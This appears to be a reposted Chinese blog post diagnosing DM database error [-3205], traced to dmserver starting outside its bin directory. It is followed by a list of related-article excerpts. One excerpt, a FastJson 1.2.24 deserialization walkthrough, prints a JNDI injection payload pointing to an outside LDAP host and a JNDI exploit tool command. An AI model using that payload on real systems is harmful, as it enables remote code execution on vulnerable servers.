达梦数据库-报错-01-[-3205]:全文索引词库加载出错

目录

一、环境信息

二、说点什么

三、模拟实验

1、前台启动数据库

2、重建全文索引报错

3、日志信息

4、查找SYSWORD.UTF8.LIB

5、想一想加做一做

6、重启数据库

7、重建全文索引

8、总结


一、环境信息

名称
CPU12th Gen Intel(R) Core(TM) i7-12700H
操作系统CentOS Linux release 7.9.2009 (Core)
内存4G
逻辑核数4
DM版本1          DM Database Server 64 V8
2          DB Version: 0x7000d
3          03134284336-20250117-257733-20132
4          Msg Version: 32
5          Gsu level(5) cnt: 0

二、说点什么

今天重建全文索引的时候,报错提示:[-3205]:全文索引词库加载出错。之前没有出现过,那不得排查并记录一下。

我也看了官方社区在DSC环境下对于这个问题的分析和排查,链接:《全文索引在进行 rebuild 或者使用时报错:“全文索引词库加载出错”》,但我这边是单机环境,也没有提示具体哪个目录缺少SYSWORD.UTF8.LIB,属于不同情况,相同报错。

三、模拟实验

1、前台启动数据库

[dmdba@localhost bin]$ cd /home/dmdba/[dmdba@localhost ~]$ dmserver /dm8/data/qqq/dm.ini

因为我配置了环境变量所以不需要在安装目录的bin目录下执行。

2、重建全文索引报错

SQL> ALTER  CONTEXT INDEX XXX.AAA ON BBB REBUILD;
[-3205]:全文索引词库加载出错.
已用时间: 237.453(毫秒). 执行号:0.

3、日志信息

2025-04-24 10:24:58.732 [ERROR] database P0000007093 T0000000000000007228  os_file_open_normal_rw error! path: 'SYSWORD.UTF8.LIB', code: 2, desc: No such file or directory
2025-04-24 10:24:58.733 [ERROR] database P0000007093 T0000000000000007228  os_file_open_normal_rd error! path: 'SYSWORD.UTF8.LIB', code: 2, desc: No such file or directory

4、查找SYSWORD.UTF8.LIB

[root@localhost ~]# find / -name 'SYSWORD.UTF8.LIB*'
/dm8/bin/SYSWORD.UTF8.LIB
/dm8/bin2/SYSWORD.UTF8.LIB

5、想一想加做一做

看官方社区的做法是把SYSWORD.UTF8.LIB拷贝到数据目录中去了,我这边是单机,也拷贝了一份,为了保险,重启了数据库,再执行重建全文索引,确实,嗯,没有解决。

我就在想是不是dmserver进程获取SYSWORD.UTF8.LIB文件路径,不是根据环境变量,而是根据相对路径来实现的。

上面可以看到我的dmserver是在/home/dmdba目录下启动的,我们换到/dm8/bin目录下启动试试。

6、重启数据库

[dmdba@localhost ~]$ cd /dm8/bin[dmdba@localhost bin]$ dmserver /dm8/data/qqq/dm.ini

7、重建全文索引

SQL> ALTER  CONTEXT INDEX XXX.AAA ON BBB REBUILD;
操作已执行
已用时间: 00:00:02.884. 执行号:601.

8、总结

问题解决了,我们来总结一下这个错误的发生原因,dmserver程序和SYSWORD.UTF8.LIB文件默认都在安装路径下的bin目录中,如果配置了环境变量,在非bin目录启动dmserver,读取当前目录下的SYSWORD.UTF8.LIB文件,但文件不存在,就提示了上述的错误。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/bicheng/82098.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

经典密码学和现代密码学的结构及其主要区别(1)维吉尼亚密码—附py代码

Vigenre cipher 维吉尼亚密码 维吉尼亚密码由布莱斯德维吉尼亚在 16 世纪发明,是凯撒密码的一个更复杂的扩展。它是一种多字母替换密码,使用一个关键字来确定明文中不同字母的多个移位值。 与凯撒密码不同,凯撒密码对所有字母都有固定的偏移…

Ubuntu部署私有Gitlab

这个东西安装其实挺简单的,但是因为我这边迁移了数据目录和使用自己安装的 nginx 代理还是踩了几个坑,所以大家可以注意下 先看下安装 # 先安装必要组件 sudo apt update sudo apt install -y curl openssh-server ca-certificates tzdata perl# 添加gi…

【JVM 02-JVM内存结构之-程序计数器】

程序计数器 笔记记录 1. 定义2. 作用3. 特点4. 拓展理解4.1 PC寄存器存储字节码指令地址有什么用?4.2 PC寄存器为什么被设定为线程私有的?4.3 为什么执行native方法时,是undefined? 学习资料来源-b站黑马JVM& 尚硅谷JVM精讲与…

【node.js】数据库与存储

个人主页:Guiat 归属专栏:node.js 文章目录 1. 数据库概述1.1 数据库在Node.js中的作用1.2 Node.js支持的数据库类型 2. 关系型数据库集成2.1 MySQL与Node.js2.1.1 安装MySQL驱动2.1.2 建立连接2.1.3 执行CRUD操作 2.2 PostgreSQL与Node.js2.2.1 安装pg驱…

Windows10和Ubuntu24.04安装Dify

1、win10上安装docker不顺利 参考:Dify的安装_dify安装-CSDN博客等资料,Dify依赖Docker运行,在Win10上安装Docker,先安装wsl。在PowerShell(管理员)中输入: wsl --install 或显示“找不到指定文件”,或显示…

电网绝缘子及破损、闪络缺陷YOLO数据集

概述 电网绝缘子及破损、闪络缺陷YOLO数据集​​,专为输电线路缺陷检测任务设计,可帮助开发者快速构建智能化识别模型。 主要内容 ​​数据集规模​​ 训练集:2004张标注图像验证集:907张标注图像所有数据均经过严格筛选与标注&…

5.2.4 wpf中MultiBinding的使用方法

在 WPF 中,MultiBinding 允许将多个绑定(Binding)组合成一个逻辑结果,并通过一个转换器(IMultiValueConverter)处理这些值,最终影响目标属性。以下是其核心用法和示例: 核心组件: MultiBinding:定义多个绑定源的集合。 IMultiValueConverter:实现逻…

基于SpringBoot+Vue的足球青训俱乐部管理后台系统的设计与开发

项目背景与概述 随着足球青训行业的快速发展,如何高效、规范地管理学员、教练以及课程等日常工作,成为了青训俱乐部运营的重要课题。为了提升俱乐部的管理效率与用户体验,基于 Spring Boot 和 Vue.js 开发了一个 足球青训俱乐部管理后台系统…

互联网大厂Java求职面试:云原生架构与AI应用集成解决方案

互联网大厂Java求职面试:云原生架构与AI应用集成解决方案 场景一:短视频与直播平台的高并发架构设计 面试官提问 面试官(技术总监): 郑薪苦,你有处理过千万级用户同时在线的直播系统吗?如何设…

RK3588 Opencv-ffmpeg-rkmpp-rkrga编译与测试

RK3588 Opencv-ffmpeg-rkmpp-rkrga编译与测试 硬件背景说明编译环境准备1. 编译MPP(媒体处理平台)2. 编译RGA(图形加速库)3. 构建支持硬件加速的FFmpeg重要代码修改说明4. 验证安装5.FFmpeg转码测试OpenCV编译集成Python OpenCV+FFmpeg测试硬件背景说明 RK3588是瑞芯微推出…

解锁C++递归算法:从原理到实战

递归算法初相识 ** 在 C 的奇妙世界里,递归算法就像是一把神奇的钥匙,能够开启解决复杂问题的大门。那么,究竟什么是递归算法呢?简单来说,递归算法就是一种函数调用自身的编程技巧。当一个函数在其定义中直接或间接地…

vue2+webpack环境变量配置

第一步:创建3个环境变量文件 1、创建> 生产(本地)环境 .env.development # 开发环境 ENVdevelopment VUE_APP_MEDIA_BASE调后端请求的地址2、创建> 测试环境 .env.staging # 测试环境 ENVstaging VUE_APP_MEDIA_BASE调后端请求的地址…

【通用智能体】Intelligent Internet Agent (II-Agent):面向复杂网络任务的智能体系统深度解析

Intelligent Internet Agent (II-Agent):面向复杂网络任务的智能体系统深度解析 一、系统架构与设计哲学1.1 核心架构设计1.2 技术创新点1.2.1 动态任务分配机制1.2.2 网络状态感知模块 二、系统架构解析2.1 完整工作流程2.2 性能指标对比 三…

力扣第450场周赛

Q1. 数位和等于下标的最小下标 给你一个整数数组 nums 。 返回满足 nums[i] 的数位和(每一位数字相加求和)等于 i 的 最小 下标 i 。 如果不存在满足要求的下标,返回 -1 。 示例 1: 输入:nums [1,3,2] 输出&#xff1…

【氮化镓】偏置对GaN HEMT 单粒子效应的影响

2025年5月19日,西安电子科技大学的Ling Lv等人在《IEEE Transactions on Electron Devices》期刊发表了题为《Single-Event Effects of AlGaN/GaN HEMTs Under Different Biases》的文章,基于实验和TCAD仿真模拟方法,研究了单粒子效应对关断状态、半开启状态和开启状态下AlG…

湖北理元理律师事务所债务优化方案:让还款与生活平衡成为可能

在现代社会,债务问题已经成为影响许多家庭生活质量的重要因素。如何在不影响基本生活的前提下合理规划还款,是众多债务人面临的实际难题。湖北理元理律师事务所推出的债务优化服务,正是针对这一需求而设计的专业解决方案。 该所的债务优化方…

FastJson1.2.24反序列化原理

{"type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true} 测试执行 DNS解析记录 利用JNDI工具进行注入 复现流程 java -jar JNDI-Injection-Explo…

基于Android的点餐系统_springboot+vue

开发语言:Java框架:springboot AndroidJDK版本:JDK1.8服务器:tomcat7数据库:mysql 5.7数据库工具:Navicat12开发软件:eclipse/myeclipse/ideaMaven包:Maven3.3.9 系统展示 APP登录…

Maven 项目介绍

一、Maven 概述​ Maven 是一个基于 Java 的项目管理和构建自动化工具,由 Apache 软件基金会开发。它采用 “约定优于配置”(Convention Over Configuration)的原则,通过标准化的项目结构和配置,极大地简化了项目的构建…

人工智能+:职业技能培训的元命题与能力重构

当“人工智能”成为各行各业的热门命题时,我们似乎跳过了一个更根本的思考:人类究竟需要怎样的AI能力?这个问题不解决,任何技术赋能都可能沦为无本之木。真正的挑战不在于如何应用AI,而在于如何定义人与AI的能力边界—…